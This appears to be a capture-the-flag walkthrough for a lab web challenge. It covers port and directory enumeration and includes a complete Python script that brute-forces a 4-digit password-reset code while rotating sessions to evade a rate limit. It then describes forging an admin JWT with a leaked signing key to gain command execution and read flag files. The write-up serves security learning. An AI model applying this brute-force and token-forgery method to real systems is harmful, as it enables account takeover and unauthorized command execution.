If you prefer video walkthrough you can watch it here!
Reconnaissance
Nmap Scan We begin with an aggressive Nmap scan to find open ports and services:
nmap -sC -sV -p- 10.201.116.210
The scan shows that HTTP is open on port 1337.
Web enumeration
We visit <IP>:1337 and find a login page and a password reset link.
Viewing the page source, we see a note that all directories must start with hmr_
Using this hint, we run gobuster with a modified wordlist:
sed 's/^/hmr_/' original_wordlist.txt > hmr_wordlist.txt
gobuster dir -u http://TARGET/ -w hmr_wordlist.txt
We discover: /hmr_logs/
Inside this directory, we find an email address: tester@hammer.thm
Exploiting the reset mechanismeating
Resetting the password for tester@hammer.thm, we are told to enter a 4-digit recovery code within 180 seconds. Attempts are rate-limited to 7 per session.
To bypass this, we build a brute-force script.
import requests
import time
RESET_URL = "http://10.201.116.210:1337/reset_password.php"
EMAIL = "tester@hammer.thm"
MAX_TRIES = 10000
TRIES_PER_SESSION = 7
BASELINE_WORD_COUNT = 148 # adjust if needed
def get_new_session():
session = requests.Session()
response = session.post(RESET_URL, data={"email": EMAIL}, allow_redirects=False)
if 'PHPSESSID' not in session.cookies:
print("[-] Failed to get PHPSESSID.")
return None
phpsessid = session.cookies.get('PHPSESSID')
print(f"[+] New PHPSESSID: {phpsessid}")
return session
def submit_code(session, code):
payload = {"recovery_code": code, "s": "180"}
response = session.post(RESET_URL, data=payload, allow_redirects=False)
return response.text
def main():
session = get_new_session()
if not session:
return
for i in range(MAX_TRIES):
if i % TRIES_PER_SESSION == 0 and i != 0:
print("[*] Rotating session to bypass rate-limit...")
session = get_new_session()
if not session:
continue
code = f"{i:04d}"
print(f"[*] Trying code: {code}")
response_text = submit_code(session, code)
word_count = len(response_text.split())
if word_count != BASELINE_WORD_COUNT:
print(f"[+] SUCCESS! Code is: {code}")
print(f"[+] Response Text:\n{response_text}")
break
else:
print("[-] Code not found within range.")
if __name__ == "__main__":
main()
The Python script does the following:
Sends password reset to get a new session.
Brute-forces recovery code from 0000 to 9999.
Rotates session after every 7 attempts.
Detects success based on change in HTML response.
insert image
Once the code is found, we manually:
Edit the session cookie (PHPSESSID) in browser dev tools or Burp.
Input the valid 4-digit code.
Reset the password.
Log in.
🎉 First flag is on the dashboard.
From the web interface, we can submit shell commands, but initially only ls works.
Configure Burp Suite to persist session while testing.
Running ls, we see a suspicious file, e.g. 188ade1.key.
Visit: <IP>:1337/188ade1.key
Capture the JWT token from Burp.
Paste it into jwt.io
Change:
user from user ➜ admin
Inject the downloaded private key
Resign the token and use it in Burp
Now, we can run any command via the web interface.
🎉 Second flag is found using:
cat /home/ubuntu/flag.txt
Congratulations on successfully completing the challenge! Remember, each challenge is an opportunity to enhance your expertise and contribute to a safer digital environment. Keep up the great work, and may you continue to excel in your cybersecurity journey!